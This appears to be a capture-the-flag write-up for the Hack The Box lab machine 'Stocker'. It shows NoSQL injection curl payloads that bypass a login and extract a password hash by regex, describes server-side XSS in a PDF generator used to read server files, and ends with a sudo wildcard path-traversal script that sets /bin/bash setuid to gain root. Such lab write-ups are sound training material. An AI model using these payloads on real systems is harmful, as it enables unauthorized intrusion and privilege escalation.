Stocker
8 minutes to read
sudo
in a path that matches a wildcard. Bypassing this wildcard is needed to escalate privileges- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.196
- Release: 14 / 01 / 2023
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.196 -p 22,80
Nmap scan report for 10.10.11.196
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Stockers Sign-in
|_Requested resource was /login
|_http-generator: Hugo 0.84.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.49 seconds
This machine has ports 22 (SSH), 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.196
, we are redirected to http://stocker.htb
. After setting the domain in /etc/hosts
, we see this webpage:
It seems to be a static website. Let’s enumerate more routes using ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://stocker.htb/FUZZ
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 88ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 49ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 49ms]
fonts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 67ms]
[Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 50ms]
Nothing seems to be useful. At the bottom of the page, we have a username (Angoose Garden):
Let’s see if there are more subdomains:
$ ffuf -w $WORDLISTS/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.196 -H 'Host: FUZZ.stocker.htb' -fs 169
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 128ms]
Alright, now we can add dev.stocker.htb
to /etc/hosts
and access the following website:
Again, let’s apply fuzzing to enumerate routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://dev.stocker.htb/FUZZ
login [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 249ms]
static [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 124ms]
Login [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 166ms]
logout [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 113ms]
stock [Status: 302, Size: 48, Words: 4, Lines: 1, Duration: 83ms]
Logout [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 159ms]
Static [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 132ms]
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 90ms]
LogIn [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 126ms]
LOGIN [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 75ms]
There’s no much to see. Moreover, we can analyze HTTP response headers and figure out that dev.stocker.htb
uses Express JS (Node.js):
$ curl -I stocker.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html
Content-Length: 15463
Last-Modified: Wed, 21 Dec 2022 18:31:13 GMT
Connection: keep-alive
ETag: "63a350f1-3c67"
Accept-Ranges: bytes
$ curl -I dev.stocker.htb
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /login
Vary: Accept
Set-Cookie: connect.sid=s%3AK2nNo-lKYxsV_Wwi8C2jJUGNReotOxyZ.dJsRk%2FOd%2FkCJ0AxOJtDYj1eeWT45f1MzLkdFagh%2FpcE; Path=/; HttpOnly
Also, we have a strange cookie named connect.sid
.
Finding a NoSQL injection
Since there is nothing more to enumerate, all that we have is the login form. We can try some SQL injection payloads but none of them work (there are no errors or evidences):
$ curl dev.stocker.htb/login -d "username='&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d "username='+or+1=1--+-&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d "username='+or+sleep(10)--+-&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\'","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\' or 1=1-- -","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\' or sleep(10)-- -","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
At this point, we can guess that the server uses MongoDB (because it is very appropriate for Node.js projects), which is a NoSQL database manager. Therefore, let’s try some payloads from PayloadsAllTheThings:
$ curl dev.stocker.htb/login -d 'username[$ne]=toto&password[$ne]=toto'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":{"$ne":"foo"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /stock
There we have it! Using the JSON payload, we can bypass authentication. To view /stock
in the browser, we can take the cookie connect.sid
from the response and put it in the browser:
$ curl dev.stocker.htb/login -id $'{"username":{"$ne":"toto"},"password":{"$ne":"toto"}}' -H 'Content-Type: application/json'
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 18 Jan 2023 23:11:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /stock
Vary: Accept
Set-Cookie: connect.sid=s%3AyepLh_Cn7RnHLC9QRnQPqJpON0CWbThV.Nkdi0tXEKTMMrDv2pxEaSSl7tGfTzwDOeLQ58rCo9%2FU; Path=/; HttpOnly
Found. Redirecting to /stock
It looks like a web application to purchase weird stuff. We can click on some items and they will be added to the cart.
Dumping values with NoSQLi
Before analyzing the new webpage, let’s extract values from the database using RegEx. The idea is to enter something like:
{
"username": {
"$regex": "^x.*"
},
"password": {
"$ne": "bar"
}
}
And test different characters where the x
is placed. When we are redirected to /stock
, we will know that the character is correct and move on to the next one. Here’s an example:
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^a.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /stock
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^b.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^c.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
Above we can see that the field username
starts with a
. At this point, we can write a simple Python script to try all possible characters for both username
and password
fields. The script is called nosqli_regex.py
(detailed explanation here):
$ python3 nosqli_regex.py
[+] Username: angoose
[+] Password: b3e795719e2a644f69838a593dd159ac
So angoose
is a valid user, and we have a hashed password. Unfortunately, it is not crackable:
So we must continue enumerating the new webpage.
Export to PDF feature
If we select some items, they will be added to the cart:
Then, we can submit the purchase and the page will show a link to generate a receipt in PDF format:
If we run exiftool
on this document, we will see that it is generated using Chromium (Skia/PDF m108):
$ curl -s dev.stocker.htb/api/po/63c87d31d6a42c59f2d7659a | exiftool -
ExifTool Version Number : 12.50
File Size : 0 bytes
File Modification Date/Time : 2023:01:14 00:00:00+01:00
File Access Date/Time : 2023:01:14 00:00:00+01:00
File Inode Change Date/Time : 2023:01:14 00:00:00+01:00
File Permissions : prw-rw----
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:01:13 23:00:00+00:00
Modify Date : 2023:01:13 23:00:00+00:00
This means that the server used a Chromium browser and exported an HTML webpage in PDF format, so maybe we can inject HTML tags…
Foothold
Using Burp Suite, we capture the request to modify some data:
For example, let’s enter <u>Cup</u>
in the item name:
The generated PDF document shows Cup
underlined, so the HTML tags were interpreted:
At this point, we can perform a Cross-Site Scripting attack (XSS), more specifically, a Server-Side XSS attack (more information in HackTricks).
Let’s try with a simple img
tag to see if JavaScript is executed:
And it is:
There are more payloads that work, for instance an object
tag:
As can be seen, we achieved a Local File Read since we can print the contents of /etc/passwd
inside the PDF document.
We can use the img
payload to write an iframe
using JavaScript and hence overwrite the whole DOM so that we only see the desired file:
Now, we can switch to the Repeater tab and perform more requests if needed. We can increase the size of the iframe
window with height
and width
properties:
Some relevant files to read now are JavaScript files from the server (we already know that it uses Node.js). To know the full path, we can cause an error with JSON parsing:
$ curl dev.stocker.htb/login -d '{' -H 'Content-Type: application/json'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/var/www/dev/node_modules/body-parser/lib/types/json.js:89:19)<br> at /var/www/dev/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> at invokeCallback (/var/www/dev/node_modules/raw-body/index.js:231:16)<br> at done (/var/www/dev/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/var/www/dev/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:513:28)<br> at endReadableNT (node:internal/streams/readable:1359:12)<br> at process.processTicksAndRejections (node:internal/process/task_queues:82:21)</pre>
</body>
</html>
Now we know that /var/www/dev/
is the root path for the web server, so we can guess that the main file is one of: main.js
, app.js
, script.js
, server.js
, index.js
… This time, /var/www/dev/index.js
is found:
In the source code, we can find credentials for MongoDB: dev: IHeardPassphrasesArePrettySecure
. And the password is reused by angoose
in SSH, so we have access to the machine:
$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password:
angoose@stocker:~$ cat user.txt
1fca8c004c27820b10ed7c3976cfa245
System enumeration
This user is able to run any Node.js script matching this path: /usr/local/scripts/*.js
.
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
However, the scripts that are inside are not readable:
angoose@stocker:~$ ls -l /usr/local/scripts
total 24
-rwxr-x--x 1 root root 245 Dec 6 09:53 creds.js
-rwxr-x--x 1 root root 1625 Dec 6 09:53 findAllOrders.js
-rwxr-x--x 1 root root 793 Dec 6 09:53 findUnshippedOrders.js
drwxr-xr-x 2 root root 4096 Dec 6 10:33 node_modules
-rwxr-x--x 1 root root 1337 Dec 6 09:53 profitThisMonth.js
-rwxr-x--x 1 root root 623 Dec 6 09:53 schema.js
Privilege escalation
The key here is the use of a wildcard to specify the path of the script to be executed. In fact, we can simply traverse directories back and run a script in a different directory, something like this:
angoose@stocker:~$ de /tmp
angoose@stocker:/tmp$ cat > .privesc.js
console.log('asdf')
const { execSync } = require('child_process')
execSync('chmod 4755 /bin/bash')
^C
angoose@stocker:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/.privesc.js
asdf
angoose@stocker:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
With the above script, we have executed chmod 4755 /bin/bash
as root
using sudo
(abusing the wildcard), so now we can get a shell as root
:
angoose@stocker:/tmp$ bash -p
bash-5.0# cat /root/root.txt
0bad2234ec6622cb146e3bf873af4e81